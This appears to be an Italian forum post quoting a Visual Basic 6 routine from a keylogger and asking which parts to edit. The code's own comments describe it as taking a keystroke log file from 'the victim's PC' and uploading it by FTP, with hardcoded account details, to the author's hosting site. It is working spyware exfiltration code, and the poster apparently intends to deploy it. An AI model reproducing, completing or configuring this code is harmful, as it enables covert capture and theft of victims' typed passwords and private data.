In questa parte qua:Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
account = "firefox" 'nome nostro account hosting
pswd = "123" 'password account hosting
ftpurl = "ftp://mywebsite.altervista.org" 'indirizzo ftp nostro host Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
Inet1.UserName = account 'settaggio account
Inet1.Password = pswd 'settaggio password
nomefile = "log.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'indirizzo del file che dovete prelevare dal pc della vittima
Do While Inet1.StillExecuting = True 'looooop ti amo xD
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
si modifica solo la parte in blu?